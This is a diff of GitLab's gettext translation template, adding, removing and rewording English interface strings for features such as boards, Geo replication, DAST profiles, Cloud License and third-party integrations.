@@ -3724,9 +3826,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3863,6 +3962,12 @@ msgid "Are you sure you want to import %d repository?"
msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -3923,6 +4028,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -3965,13 +4076,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4396,6 +4507,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4498,6 +4612,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4516,6 +4633,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4540,7 +4660,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4673,6 +4793,9 @@ msgstr[0] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4703,6 +4826,10 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4712,9 +4839,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4733,6 +4857,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4742,6 +4869,10 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4754,6 +4885,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4784,6 +4924,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5090,15 +5233,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5117,6 +5251,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5205,6 +5345,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5301,6 +5462,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5421,6 +5585,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5448,6 +5615,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5457,12 +5627,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6105,6 +6281,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6138,6 +6317,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6171,9 +6392,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6192,12 +6410,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6747,6 +6974,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7453,6 +7683,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7516,6 +7749,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7801,6 +8037,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7827,9 +8066,6 @@ msgid "ContainerRegistry|%{count} Tag"
msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -7914,6 +8150,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -7932,6 +8171,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -7996,6 +8238,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8218,6 +8463,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8263,9 +8511,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8323,9 +8568,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8380,12 +8634,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8419,6 +8682,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8428,16 +8694,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8582,9 +8847,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8606,6 +8868,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8759,6 +9024,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8822,6 +9090,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9123,8 +9394,9 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9219,6 +9491,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9288,6 +9563,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9348,6 +9629,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9381,6 +9665,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9411,12 +9698,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9493,6 +9792,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9523,6 +9825,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -9934,13 +10239,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10051,9 +10362,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10081,9 +10389,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10196,9 +10501,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10358,13 +10660,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10379,7 +10681,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10632,6 +10934,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10875,6 +11180,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -10887,6 +11195,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11106,6 +11417,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11130,6 +11444,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11142,6 +11459,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11154,6 +11474,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11265,6 +11588,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11334,9 +11660,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -11964,19 +12287,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -11985,7 +12308,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12096,9 +12419,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12165,6 +12485,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12234,6 +12557,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12246,12 +12572,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12279,9 +12599,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12303,13 +12620,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12408,6 +12728,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12435,9 +12758,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12486,9 +12815,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12543,9 +12869,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -12928,10 +13251,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -12964,7 +13287,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13066,6 +13389,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13114,12 +13440,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13129,9 +13458,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13156,6 +13482,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13165,6 +13494,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13180,6 +13512,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13198,9 +13533,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13462,6 +13794,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13504,9 +13839,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13531,6 +13872,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13564,6 +13914,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13591,6 +13947,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13603,6 +13962,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13630,6 +14013,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13642,6 +14028,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13675,6 +14064,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13720,6 +14112,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13849,6 +14244,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -13972,6 +14373,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
